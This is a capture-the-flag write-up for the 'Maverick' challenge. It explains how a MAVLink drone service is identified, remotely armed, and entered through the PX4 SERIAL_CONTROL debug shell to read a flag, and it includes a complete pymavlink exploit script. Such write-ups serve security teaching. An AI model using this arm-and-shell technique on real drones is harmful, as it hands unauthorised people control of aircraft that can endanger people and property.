

CTF Writeup: Maverick

Navigating the MAVLink Serial Bridge

Author: Senpai

Category: MAVLink / Drone / Protocol Exploitation

Points: 495

Flag: SK-CERT{d3bu6_my_fly1ng_m4ch1n3}

Challenge Overview

The challenge presents a remote service accessible via netcat:

```
nc exp.cybergame.sk 7030
```

"Can you hack Maverick as he flies by?"

Phase 1: Protocol Identification

Upon connecting to the service, a stream of binary data is received. The key to identifying the protocol lies in the "magic byte" — the first byte of every frame was `0xFE`, which corresponds to the MAVLink v1 protocol.

The challenge name "Maverick" further hints at MAVLink (Micro Air Vehicle Link), a telemetry protocol commonly used by drones running ArduPilot or PX4. Using the pymavlink library, we can confirm the connection and listen for a heartbeat:

```
from pymavlink import mavutil

master = mavutil.mavlink_connection('tcp:exp.cybergame.sk:7030')
master.wait_heartbeat() # HEARTBEAT from System 1 (Component 0)
```

Standard drone telemetry messages were observed, including HEARTBEAT, ATTITUDE, and STATUSTEXT.

Phase 2: Finding the Vulnerability

Monitoring the STATUSTEXT messages revealed a critical hint regarding a locked debug bridge:

```
Preflight: debug serial bridge disabled until vehicle is armed
```

This indicates that a serial bridge is available, but it is gated behind the drone's "armed" state. In MAVLink-based systems, arming is handled by the `MAV_CMD_COMPONENT_ARM_DISARM` command.

Phase 3: Exploitation & Shell Access

1. Arming the Vehicle

By sending a command with param1=1, we can force the vehicle to arm. Once successful, the STATUSTEXT confirms the bridge is now active:

```
Vehicle armed; debug serial bridge is now available
```

2. Accessing the Debug Shell

MAVLink's SERIAL_CONTROL message provides a tunneled serial interface. PX4 specifically exposes an interactive debug shell over this channel using device ID 10. Sending a newline character to this device returns a functional PX4 shell prompt: dvd-shell\$.

3. Retrieving the Flag

With shell access established, standard Linux-like commands can be used to navigate the filesystem and read the flag.

The Exploit Script

The following Python script automates the attack chain: arming the drone, initializing the serial bridge, and executing shell commands to retrieve the flag.

```
from pymavlink import mavutil
import time

# Establish connection
master = mavutil.mavlink_connection('tcp:exp.cybergame.sk:7030')
master.wait_heartbeat()
print(f"Connected: sys={master.target_system} comp={master.target_component}")

# Step 1: ARM the vehicle to unlock the serial bridge
master.mav.command_long_send(
    master.target_system, master.target_component,
    mavutil.mavlink.MAV_CMD_COMPONENT_ARM_DISARM,
    0, 1, 0, 0, 0, 0, 0, 0
)
time.sleep(2)

# Step 2: Access the shell via SERIAL_CONTROL (Device ID 10)
SHELL = 10
cmd = b'cat /flag\n'
data = cmd + b'\x00' * (70 - len(cmd)) # Buffer padding

master.mav.serial_control_send(
    SHELL,
    mavutil.mavlink.SERIAL_CONTROL_FLAG_REPLY | mavutil.mavlink.SERIAL_CONTROL_FLAG_EXCLUSIVE,
    0, 57600, len(cmd), list(data)
)
time.sleep(0.5)

# Step 3: Read the response
msg = master.recv_match(type='SERIAL_CONTROL', blocking=True)
if msg:
```

```
raw = bytes(msg.data[:msg.count])
print(f"Flag: {raw.decode('utf-8', 'replace')}")

master.close()
```

Attack Chain Summary

1. Connect to the MAVLink stream.
2. Observe STATUSTEXT indicating the locked bridge.
3. Send MAV_CMD_COMPONENT_ARM_DISARM to unlock the bridge.
4. Access the shell using SERIAL_CONTROL on device 10.
5. Execute `cat /flag` to obtain the flag.